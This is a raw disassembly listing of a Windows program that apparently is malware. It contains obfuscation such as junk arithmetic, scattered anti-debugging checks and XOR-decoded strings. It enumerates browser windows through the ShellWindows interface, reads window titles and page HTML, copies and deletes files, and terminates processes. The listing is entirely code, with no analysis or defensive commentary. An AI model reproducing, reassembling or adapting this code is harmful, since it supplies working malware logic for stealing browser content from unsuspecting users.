		jmp	short loc_406651
; ---------------------------------------------------------------------------

loc_4065F5:				; CODE XREF: sub_4062CD+38Cj
		lea	edi, [ebp+var_29F]
		lea	esi, aCayc_	; "CYc_"
		mov	ecx, 3
		rep movsw
		push	7
		push	offset aEijMai	; "eij^MAI"
		call	sub_405254
		add	esp, 8
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		call	sub_40C784	; FindWindowA
		mov	ebx, eax
		call	sub_40C538	; RtlGetLastWin32Error
		or	ebx, ebx
		jnz	short loc_40665B
		call	sub_40C508	; GetCurrentProcessId
		mov	eax, dword_4412B4
		add	eax, 3E0h
		push	eax
		call	sub_40C6D0	; Sleep
		call	sub_40C5A4	; GetVersion
		add	byte ptr [ebp+var_29C+3], 1

loc_406651:				; CODE XREF: sub_4062CD+326j
		mov	al, byte ptr [ebp+var_29C+3]
		cmp	al, 0Ah
		jb	short loc_4065F5

loc_40665B:				; CODE XREF: sub_4062CD+361j
		or	ebx, ebx
		jz	loc_40680C
		mov	word ptr [ebp+var_29C],	7B09h
		sub	word ptr [ebp+var_29C],	714Fh
		push	0F000h
		call	sub_40C6D0	; Sleep
		mov	[ebp+var_29D], 5Bh
		add	[ebp+var_29D], 5Ah
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	sub_40C76C	; GetWindowTextA
		mov	eax, 0Fh
		sub	eax, dword_4412B8
		push	eax
		push	offset aXOkrecv11 ; "X-okRecv11"
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_401806
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	loc_4067FE
		call	sub_40C514	; GetCurrentThreadId
		lea	edi, [ebp+var_2A7]
		lea	esi, aIk	; "Ik"
		mov	ecx, 3
		rep movsb
		mov	dword ptr [ebp-2A4h], 4145h
		mov	eax, 6B7Ch
		mul	dword ptr [ebp-2A4h]
		mov	[ebp+var_3B0], eax
		mov	[ebp-2A4h], eax
		lea	eax, [ebp+var_3AB]
		push	eax
		push	[ebp+arg_4]
		call	sub_4053A1
		add	esp, 8
		or	eax, eax
		jz	loc_4067ED
		call	sub_40C598	; GetTickCount
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_3AB]
		push	eax
		call	sub_40C604	; CopyFileA
		lea	eax, [ebp+var_14C]
		push	eax
		push	[ebp+arg_8]
		call	sub_401A36
		mov	[ebp+var_3B8], eax
		call	sub_40C634	; IsDebuggerPresent
		push	[ebp+arg_8]
		call	sub_40C760	; DeleteFileA
		mov	[ebp+var_3B1], 31h
		movzx	eax, [ebp+var_3B1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_3B1], al
		push	offset aHtml	; "<HTML><!--"
		call	sub_40C73C	; lstrlen
		push	eax
		push	offset aHtml	; "<HTML><!--"
		push	[ebp+var_3B8]
		call	sub_40CA6C
		add	esp, 14h
		or	eax, eax
		jnz	short loc_4067BB
		push	offset aHtml	; "<HTML><!--"
		call	sub_40C73C	; lstrlen
		mov	edi, [ebp+var_14C]
		sub	edi, 3Ah
		push	edi
		mov	edi, eax
		add	edi, [ebp+var_3B8]
		push	edi
		push	[ebp+arg_8]
		call	sub_4052EF
		add	esp, 0Ch
		jmp	short loc_4067D6
; ---------------------------------------------------------------------------

loc_4067BB:				; CODE XREF: sub_4062CD+4C2j
		mov	eax, [ebp+var_14C]
		sub	eax, 40h
		push	eax
		push	[ebp+var_3B8]
		push	[ebp+arg_8]
		call	sub_4052EF
		add	esp, 0Ch

loc_4067D6:				; CODE XREF: sub_4062CD+4ECj
		push	[ebp+var_3B8]
		call	sub_40C658	; LocalFree
		mov	[ebp+var_14C], 2
		jmp	short loc_406844
; ---------------------------------------------------------------------------

loc_4067ED:				; CODE XREF: sub_4062CD+44Aj
		call	sub_40C634	; IsDebuggerPresent
		mov	[ebp+var_14C], 1
		jmp	short loc_406844
; ---------------------------------------------------------------------------

loc_4067FE:				; CODE XREF: sub_4062CD+3F7j
		call	sub_40C5A4	; GetVersion
		and	[ebp+var_14C], 0
		jmp	short loc_406844
; ---------------------------------------------------------------------------

loc_40680C:				; CODE XREF: sub_4062CD+390j
		mov	byte ptr [ebp+var_29C+2], 95h
		sub	byte ptr [ebp+var_29C+2], 0Bh
		and	[ebp+var_14C], 0
		jmp	short loc_406844
; ---------------------------------------------------------------------------

loc_406823:				; CODE XREF: sub_4062CD+2DDj
		mov	byte ptr [ebp+var_29C+3], 1Dh
		movzx	eax, byte ptr [ebp+var_29C+3]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	byte ptr [ebp+var_29C+3], al
		and	[ebp+var_14C], 0

loc_406844:				; CODE XREF: sub_4062CD+51Ej
					; sub_4062CD+52Fj ...
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_40C760	; DeleteFileA
		call	sub_40C634	; IsDebuggerPresent
		push	[ebp+arg_0]
		call	sub_40C658	; LocalFree
		mov	[ebp+var_26E], 769Dh
		inc	[ebp+var_26E]
		push	0
		push	[ebp+var_260]
		call	sub_40C6DC	; TerminateProcess
		mov	[ebp+var_270], 6036h
		sub	[ebp+var_270], 528Eh
		push	[ebp+var_260]
		call	sub_40C55C	; CloseHandle
		mov	eax, [ebp+var_14C]

loc_40689D:				; CODE XREF: sub_4062CD+127j
					; sub_4062CD+1E5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4062CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4068A2	proc near		; CODE XREF: sub_406A9A+CBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 315h
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_44134C
		lea	eax, ds:41B8A0h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4068E9
; ---------------------------------------------------------------------------

loc_4068CF:				; CODE XREF: sub_4068A2+49j
		mov	eax, dword_44134C
		add	eax, edi
		lea	eax, ds:41B8A0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0CAh
		mov	[eax], dl
		inc	edi

loc_4068E9:				; CODE XREF: sub_4068A2+2Bj
		cmp	edi, esi
		jl	short loc_4068CF
		mov	eax, dword_44134C
		add	eax, esi
		mov	byte ptr ds:dword_41B8A0[eax], 0
		mov	edi, dword_44134C
		inc	dword_44134C
		mov	eax, dword_44134C
		lea	eax, [eax+esi+1]
		mov	dword_44134C, eax
		cmp	eax, 0DD3h
		jle	short loc_406924
		and	dword_44134C, 0

loc_406924:				; CODE XREF: sub_4068A2+79j
		lea	eax, dword_41B8A0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4068A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40692E	proc near		; CODE XREF: sub_406E2B+1A4p
					; sub_406E2B+555p ...

var_C		= dword	ptr -0Ch
var_5		= dword	ptr -5
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_1], 0A8h
		add	[ebp+var_1], 0B3h
		push	[ebp+arg_0]
		call	sub_40C748	; lstrlenW
		mov	edi, eax
		mov	eax, dword_44135C
		mov	[ebp+var_5], eax
		push	0
		push	0
		push	1FFFh
		push	ebx
		push	edi
		push	[ebp+arg_0]
		push	0
		push	0
		call	sub_40C718	; WideCharToMultiByte
		mov	esi, 6089h
		mov	eax, 2984h
		mul	esi
		mov	[ebp+var_C], eax
		mov	esi, eax
		mov	byte ptr [ebx+edi], 0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40692E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406987	proc near		; CODE XREF: sub_4069E2+ABp

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_2], 40BBh
		inc	[ebp+var_2]
		cmp	dword_441354, 0
		jz	short loc_4069AF
		mov	eax, dword_441354
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]

loc_4069AF:				; CODE XREF: sub_406987+1Bj
		mov	edi, 2480h
		sub	edi, 4C20h
		mov	eax, [esi+4]
		push	dword ptr [esi+4]
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		call	sub_40C514	; GetCurrentThreadId
		mov	eax, [esi]
		push	dword ptr [esi]
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		call	sub_40BA54
		call	sub_40C508	; GetCurrentProcessId
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406987	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4069E2	proc near		; CODE XREF: sub_406E2B+57p

var_11		= byte ptr -11h
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		call	sub_40C634	; IsDebuggerPresent
		mov	[ebp+var_1], 0C1h
		sub	[ebp+var_1], 0FBh
		and	dword ptr [edi], 0
		and	dword ptr [edi+4], 0
		push	0
		call	sub_40BA48
		call	sub_40C538	; RtlGetLastWin32Error
		lea	eax, [ebp+var_11]
		push	eax
		push	offset a9ba05972F6a811 ; "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
		call	sub_40BA3C
		mov	esi, eax
		call	sub_40C574	; GetProcessHeap
		xor	ebx, ebx
		cmp	esi, ebx
		setl	bl
		or	ebx, ebx
		jnz	short loc_406A8C
		call	sub_40C5A4	; GetVersion
		push	edi
		push	offset dword_446BF4
		push	4
		push	0
		lea	eax, [ebp+var_11]
		push	eax
		call	sub_40BA30
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		setl	bl
		or	ebx, ebx
		jnz	short loc_406A8C
		call	sub_40C5A4	; GetVersion
		mov	eax, edi
		add	eax, 4
		push	eax
		push	offset dword_446BE4
		mov	eax, [edi]
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr ds:0[ebx]
		mov	esi, eax
		call	sub_40C514	; GetCurrentThreadId
		xor	ebx, ebx
		cmp	esi, ebx
		setl	bl
		or	ebx, ebx
		jnz	short loc_406A8C
		call	sub_40C514	; GetCurrentThreadId
		xor	eax, eax
		inc	eax
		jmp	short loc_406A95
; ---------------------------------------------------------------------------

loc_406A8C:				; CODE XREF: sub_4069E2+4Aj
					; sub_4069E2+6Fj ...
		push	edi
		call	sub_406987
		pop	ecx
		xor	eax, eax

loc_406A95:				; CODE XREF: sub_4069E2+A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4069E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A9A	proc near		; CODE XREF: sub_406E2B+ACp

var_10054	= dword	ptr -10054h
var_10050	= dword	ptr -10050h
var_1004C	= dword	ptr -1004Ch
var_10047	= byte ptr -10047h
var_1003F	= byte ptr -1003Fh
var_10039	= byte ptr -10039h
var_10032	= byte ptr -10032h
var_10031	= byte ptr -10031h
var_1002C	= dword	ptr -1002Ch
var_10028	= byte ptr -10028h
var_29		= byte ptr -29h
var_28		= word ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10054h
		call	sub_40C498
		push	ebx
		push	esi
		push	edi
		call	sub_40C574	; GetProcessHeap
		cmp	dword_441358, 0FFFFh
		jz	short loc_406AC2
		and	dword_441350, 0

loc_406AC2:				; CODE XREF: sub_406A9A+1Fj
		mov	[ebp+var_5], 0EDh
		movzx	eax, [ebp+var_5]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_5], al
		mov	eax, dword_441350
		cmp	[ebp+arg_4], eax
		jz	loc_406D83
		lea	edi, [ebp+var_10031]
		lea	esi, a40?	; ":40?"
		mov	ecx, 5
		rep movsb
		mov	eax, [ebp+arg_4]
		mov	dword_441350, eax
		cmp	dword_441354, 0
		jz	short loc_406B36
		call	sub_40C574	; GetProcessHeap
		mov	eax, dword_441354
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	[ebp+var_1004C], 90Dh
		mov	eax, [ebp+var_1004C]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_1004C], edx
		and	dword_441354, 0

loc_406B36:				; CODE XREF: sub_406A9A+69j
		push	0FFFFh
		lea	eax, [ebp+var_10028]
		push	eax
		push	[ebp+arg_4]
		call	sub_40C76C	; GetWindowTextA
		mov	[ebp+var_8], 77DCh
		movzx	eax, [ebp+var_8]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_8], ax
		push	1Bh
		push	offset aZgiEEmGdPDpPJe ; "ꃤꏲ"
		call	sub_4068A2
		mov	edi, 0Dh
		sub	edi, dword_441348
		push	edi
		push	eax
		lea	edi, [ebp+var_10028]
		push	edi
		call	sub_401806
		add	esp, 14h
		cmp	eax, 0FFFFh
		jnz	short loc_406BD3
		mov	word ptr [ebp+var_1004C], 18AFh
		movzx	eax, word ptr [ebp+var_1004C]
		imul	eax, 1C81h
		mov	word ptr [ebp+var_1004C], ax
		and	dword_441354, 0
		mov	word ptr [ebp+var_1004C+2], 985h
		movzx	eax, word ptr [ebp+var_1004C+2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+var_1004C+2], ax
		jmp	loc_406D83
; ---------------------------------------------------------------------------

loc_406BD3:				; CODE XREF: sub_406A9A+F1j
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		mov	[ebp+var_D], 1Eh
		add	[ebp+var_D], 1
		cmp	[ebp+var_C], 0
		jz	loc_406D83
		mov	[ebp+var_14], 6CC8h
		mov	eax, 4A3Dh
		mul	[ebp+var_14]
		mov	[ebp+var_1004C], eax
		mov	[ebp+var_14], eax
		or	ebx, ebx
		jnz	loc_406D83
		and	[ebp+var_4], 0
		cmp	dword_441358, 0FFFFh
		jz	short loc_406C6D
		call	sub_40C538	; RtlGetLastWin32Error
		inc	dword_441358
		mov	eax, [ebp+var_C]
		cmp	dword_441358, eax
		jbe	short loc_406C44
		and	dword_441358, 0

loc_406C44:				; CODE XREF: sub_406A9A+1A1j
		mov	[ebp+var_10050], 5B8Fh
		mov	eax, 1268h
		mul	[ebp+var_10050]
		mov	[ebp+var_10054], eax
		mov	[ebp+var_10050], eax
		mov	eax, dword_441358
		mov	[ebp+var_4], eax

loc_406C6D:				; CODE XREF: sub_406A9A+18Bj
					; sub_406A9A+2DCj
		push	0
		call	sub_40C9B8
		pop	ecx
		call	sub_40C634	; IsDebuggerPresent
		mov	[ebp+var_28], 2
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	dword_441358, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	esi, [ebp+var_28]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_0]
		mov	edi, [edi+4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_406D4B
		lea	edi, [ebp+var_10032]
		lea	esi, byte_441365
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	offset dword_441354
		push	offset dword_446C04
		mov	eax, [ebp+var_18]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		call	sub_40C508	; GetCurrentProcessId
		or	ebx, ebx
		jnz	short loc_406D4B
		call	sub_40C598	; GetTickCount
		lea	eax, [ebp+var_1002C]
		push	eax
		mov	eax, dword_441354
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		lea	edi, [ebp+var_10039]
		lea	esi, aNDlyo	; "N DLYO"
		mov	ecx, 7
		rep movsb
		or	ebx, ebx
		jnz	short loc_406D4B
		mov	[ebp+var_29], 28h
		sub	[ebp+var_29], 8Ch
		mov	dword_441358, 0FFFFh
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_1002C], eax
		jz	short loc_406D83
		lea	edi, [ebp+var_1003F]
		lea	esi, aT2vxo	; "T2vxO"
		mov	ecx, 3
		rep movsw

loc_406D4B:				; CODE XREF: sub_406A9A+214j
					; sub_406A9A+24Bj ...
		cmp	dword_441354, 0
		jz	short loc_406D5F
		mov	eax, dword_441354
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_406D5F:				; CODE XREF: sub_406A9A+2B8j
		lea	edi, [ebp+var_10047]
		lea	esi, aWWavg	; "W'WAV`"
		movsd
		movsd
		inc	[ebp+var_4]
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_4], eax
		jb	loc_406C6D
		and	dword_441354, 0

loc_406D83:				; CODE XREF: sub_406A9A+41j
					; sub_406A9A+134j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D88	proc near		; CODE XREF: sub_406E2B+5E6p
					; sub_406E2B+62Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_441384
		lea	eax, ds:430CF0h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	[ebp+var_4], 27Ah
		xor	edi, edi
		jmp	short loc_406DD0
; ---------------------------------------------------------------------------

loc_406DB6:				; CODE XREF: sub_406D88+4Aj
		mov	eax, dword_441384
		add	eax, edi
		lea	eax, ds:430CF0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0EDh
		mov	[eax], dl
		inc	edi

loc_406DD0:				; CODE XREF: sub_406D88+2Cj
		cmp	edi, esi
		jl	short loc_406DB6
		mov	[ebp+var_8], 200h
		mov	eax, dword_441384
		add	eax, esi
		mov	byte ptr ds:dword_430CF0[eax], 0
		xor	edi, edi
		mov	edi, dword_441384
		inc	dword_441384
		mov	eax, dword_441384
		add	eax, 6
		add	eax, esi
		mov	dword_441384, eax
		add	dword_441384, 3
		cmp	dword_441384, 0E0Fh
		jle	short loc_406E21
		and	dword_441384, 0

loc_406E21:				; CODE XREF: sub_406D88+90j
		lea	eax, dword_430CF0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_406D88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E2B	proc near		; CODE XREF: sub_407F67+56p

var_63822	= byte ptr -63822h
var_6381C	= dword	ptr -6381Ch
var_63816	= byte ptr -63816h
var_62818	= dword	ptr -62818h
var_62813	= byte ptr -62813h
var_6280E	= byte ptr -6280Eh
var_6280D	= byte ptr -6280Dh
var_6280C	= dword	ptr -6280Ch
var_62808	= word ptr -62808h
var_62800	= dword	ptr -62800h
var_627F8	= word ptr -627F8h
var_627F0	= dword	ptr -627F0h
var_627E8	= dword	ptr -627E8h
var_627E4	= dword	ptr -627E4h
var_627E0	= word ptr -627E0h
var_627DD	= byte ptr -627DDh
var_627DA	= byte ptr -627DAh
var_627D3	= byte ptr -627D3h
var_627CC	= word ptr -627CCh
var_627CA	= word ptr -627CAh
var_627C8	= dword	ptr -627C8h
var_627C4	= byte ptr -627C4h
var_627C3	= byte ptr -627C3h
var_627C2	= word ptr -627C2h
var_627C0	= byte ptr -627C0h
var_627BF	= byte ptr -627BFh
var_626C0	= dword	ptr -626C0h
var_626BC	= dword	ptr -626BCh
var_626B8	= word ptr -626B8h
var_626B0	= dword	ptr -626B0h
var_626A4	= dword	ptr -626A4h
var_626A0	= dword	ptr -626A0h
var_6269C	= dword	ptr -6269Ch
var_62698	= dword	ptr -62698h
var_62694	= dword	ptr -62694h
var_62690	= dword	ptr -62690h
var_6268C	= dword	ptr -6268Ch
var_62687	= byte ptr -62687h
var_62682	= word ptr -62682h
var_6267F	= byte ptr -6267Fh
var_526B8	= byte ptr -526B8h
var_526B0	= dword	ptr -526B0h
var_526AA	= byte ptr -526AAh
var_526A9	= byte ptr -526A9h
var_526A8	= byte ptr -526A8h
var_526A0	= dword	ptr -526A0h
var_52696	= byte ptr -52696h
var_52690	= word ptr -52690h
var_52688	= dword	ptr -52688h
var_52684	= dword	ptr -52684h
var_52680	= dword	ptr -52680h
var_5267A	= byte ptr -5267Ah
var_52674	= byte ptr -52674h
var_5266F	= byte ptr -5266Fh
var_52669	= byte ptr -52669h
var_52668	= byte ptr -52668h
var_52667	= byte ptr -52667h
var_52666	= byte ptr -52666h
var_52663	= word ptr -52663h
var_52661	= byte ptr -52661h
var_5265A	= word ptr -5265Ah
var_52658	= dword	ptr -52658h
var_52652	= word ptr -52652h
var_5264F	= byte ptr -5264Fh
var_52649	= byte ptr -52649h
var_52644	= dword	ptr -52644h
var_52640	= dword	ptr -52640h
var_5263C	= dword	ptr -5263Ch
var_52638	= byte ptr -52638h
var_52630	= dword	ptr -52630h
var_5262B	= byte ptr -5262Bh
var_5262A	= word ptr -5262Ah
var_52628	= dword	ptr -52628h
var_52622	= word ptr -52622h
var_52620	= dword	ptr -52620h
var_5261C	= dword	ptr -5261Ch
var_52618	= word ptr -52618h
var_52616	= word ptr -52616h
var_52614	= dword	ptr -52614h
var_5260F	= byte ptr -5260Fh
var_5260E	= word ptr -5260Eh
var_5260C	= dword	ptr -5260Ch
var_52606	= word ptr -52606h
var_52604	= dword	ptr -52604h
var_525FE	= word ptr -525FEh
var_525FC	= dword	ptr -525FCh
var_525F8	= dword	ptr -525F8h
var_525F4	= dword	ptr -525F4h
var_525EE	= word ptr -525EEh
var_525EC	= dword	ptr -525ECh
var_525E8	= dword	ptr -525E8h
var_525E4	= dword	ptr -525E4h
var_525DF	= byte ptr -525DFh
var_524E0	= byte ptr -524E0h
var_524D8	= dword	ptr -524D8h
var_524CC	= dword	ptr -524CCh
var_524C8	= byte ptr -524C8h
var_39E28	= byte ptr -39E28h
var_21788	= word ptr -21788h
var_21786	= word ptr -21786h
var_21784	= dword	ptr -21784h
var_2177D	= byte ptr -2177Dh
var_1177E	= word ptr -1177Eh
var_1177C	= word ptr -1177Ch
var_10FAC	= dword	ptr -10FACh
var_10FA8	= dword	ptr -10FA8h
var_10FA4	= dword	ptr -10FA4h
var_10001	= byte ptr -10001h
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		mov	eax, 63824h
		call	sub_40C498
		push	ebx
		push	esi
		push	edi
		call	sub_40C5A4	; GetVersion
		push	offset aValue	; "value"
		call	sub_40BA0C
		mov	[ebp+var_10FA8], eax
		mov	eax, dword_441394
		mov	[ebp+var_52644], eax
		push	offset aName	; "name"
		call	sub_40BA0C
		mov	[ebp+var_10FAC], eax
		mov	[ebp+var_52616], 569Bh
		inc	[ebp+var_52616]
		lea	eax, [ebp+var_52638]
		push	eax
		call	sub_4069E2
		pop	ecx
		or	eax, eax
		jz	loc_407F62
		call	sub_40C574	; GetProcessHeap

loc_406E95:				; CODE XREF: sub_406E2B+CFj
					; sub_406E2B+F4j ...
		push	0
		call	sub_40C9B8
		mov	[ebp+var_52618], 0C8Fh
		inc	[ebp+var_52618]
		call	sub_40C7B4	; GetForegroundWindow
		mov	[ebp+var_5261C], eax
		lea	edi, [ebp+var_52649]
		lea	esi, aOap	; "op*"
		mov	ecx, 5
		rep movsb
		push	[ebp+var_5261C]
		lea	eax, [ebp+var_52638]
		push	eax
		call	sub_406A9A
		add	esp, 0Ch
		lea	edi, [ebp+var_5264F]
		lea	esi, aAcbls	; "AcBLs"
		mov	ecx, 3
		rep movsw
		cmp	dword_441354, 0
		jz	short loc_406E95
		mov	ax, word_4413A3
		mov	[ebp+var_52652+1], ax
		lea	eax, [ebp+var_525F4]
		push	eax
		mov	eax, dword_441354
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_406E95
		mov	[ebp+var_52620], 6F23h
		mov	eax, 38F1h
		mul	[ebp+var_52620]
		mov	[ebp+var_52680], eax
		mov	[ebp+var_52620], eax
		lea	eax, [ebp+var_525F8]
		push	eax
		push	offset dword_446BA4
		mov	eax, [ebp+var_525F4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	[ebp+var_525FC], 2AEFh
		mov	eax, [ebp+var_525FC]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_525FC], edx
		or	ebx, ebx
		jnz	loc_407F44
		lea	eax, [ebp+var_5263C]
		push	eax
		mov	eax, dword_441354
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		call	sub_40C634	; IsDebuggerPresent
		or	ebx, ebx
		jnz	loc_407F0E
		mov	[ebp+var_52622], 0A61h
		movzx	eax, [ebp+var_52622]
		imul	eax, 47C9h
		mov	[ebp+var_52622], ax
		push	offset byte_41EB90
		push	[ebp+var_5263C]
		call	sub_40692E
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_52658], edi
		call	sub_40C598	; GetTickCount
		mov	eax, [ebp+var_5261C]
		mov	ds:dword_42EB94, eax
		lea	eax, [ebp+var_525FE]
		push	eax
		mov	eax, dword_441354
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+7Ch]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_407F0E
		cmp	[ebp+var_525FE], 0
		jz	short loc_407028
		mov	ax, word_4413A5
		mov	[ebp+var_5265A], ax
		jmp	loc_407F0E
; ---------------------------------------------------------------------------

loc_407028:				; CODE XREF: sub_406E2B+1E9j
		lea	edi, [ebp+var_52661]
		lea	esi, aJXe?	; "J$xE+?"
		mov	ecx, 7
		rep movsb
		mov	ax, word_4413AE
		mov	[ebp+var_52663], ax
		lea	edi, [ebp+var_52666]
		lea	esi, byte_4413B0
		mov	ecx, 3
		rep movsb
		mov	[ebp+var_10001], 0
		mov	[ebp+var_2], 0
		lea	eax, [ebp+var_52604]
		push	eax
		mov	eax, [ebp+var_525F8]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		lea	edi, [ebp+var_52667]
		lea	esi, byte_4413B3
		xor	ecx, ecx
		inc	ecx
		rep movsb
		or	ebx, ebx
		jnz	loc_407F0E
		lea	eax, [ebp+var_52640]
		push	eax
		mov	eax, [ebp+var_52604]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		call	sub_40C5A4	; GetVersion
		or	ebx, ebx
		jnz	loc_407EF4
		mov	[ebp+var_52606], 281Eh
		movzx	eax, [ebp+var_52606]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_52606], ax
		or	[ebp+var_524CC], 0FFFFFFFFh

loc_4070DC:				; CODE XREF: sub_406E2B+B65j
		and	[ebp+var_5260C], 0
		and	[ebp+var_52614], 0
		cmp	[ebp+var_524CC], 0FFFFFFFFh
		jnz	short loc_407133
		call	sub_40C538	; RtlGetLastWin32Error
		lea	eax, [ebp+var_525E4]
		push	eax
		mov	eax, [ebp+var_525F8]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	[ebp+var_52684], 638Dh
		add	[ebp+var_52684], 5FB7h
		or	ebx, ebx
		jnz	loc_407979
		call	sub_40C514	; GetCurrentThreadId
		jmp	loc_40724E
; ---------------------------------------------------------------------------

loc_407133:				; CODE XREF: sub_406E2B+2C6j
		lea	edi, [ebp+var_52696]
		lea	esi, a9ebg	; "9EB#"
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_52690], 17h
		mov	eax, [ebp+var_524CC]
		mov	[ebp+var_52688], eax
		lea	eax, [ebp+var_526A8]
		push	eax
		lea	eax, [ebp+var_52690]
		push	eax
		mov	eax, [ebp+var_52604]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		lea	eax, [ebp+var_5260C]
		push	eax
		push	offset dword_446BD4
		mov	eax, [ebp+var_526A0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		call	sub_40C598	; GetTickCount
		or	ebx, ebx
		jnz	loc_407979
		call	sub_40C508	; GetCurrentProcessId
		lea	eax, [ebp+var_52614]
		push	eax
		mov	eax, [ebp+var_5260C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_4071E9
		call	sub_40C634	; IsDebuggerPresent
		mov	eax, [ebp+var_5260C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		lea	edi, [ebp+var_526AA]
		lea	esi, byte_4413BA
		xor	ecx, ecx
		inc	ecx
		rep movsb
		jmp	loc_407979
; ---------------------------------------------------------------------------

loc_4071E9:				; CODE XREF: sub_406E2B+395j
		lea	eax, [ebp+var_525E4]
		push	eax
		mov	eax, [ebp+var_52614]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
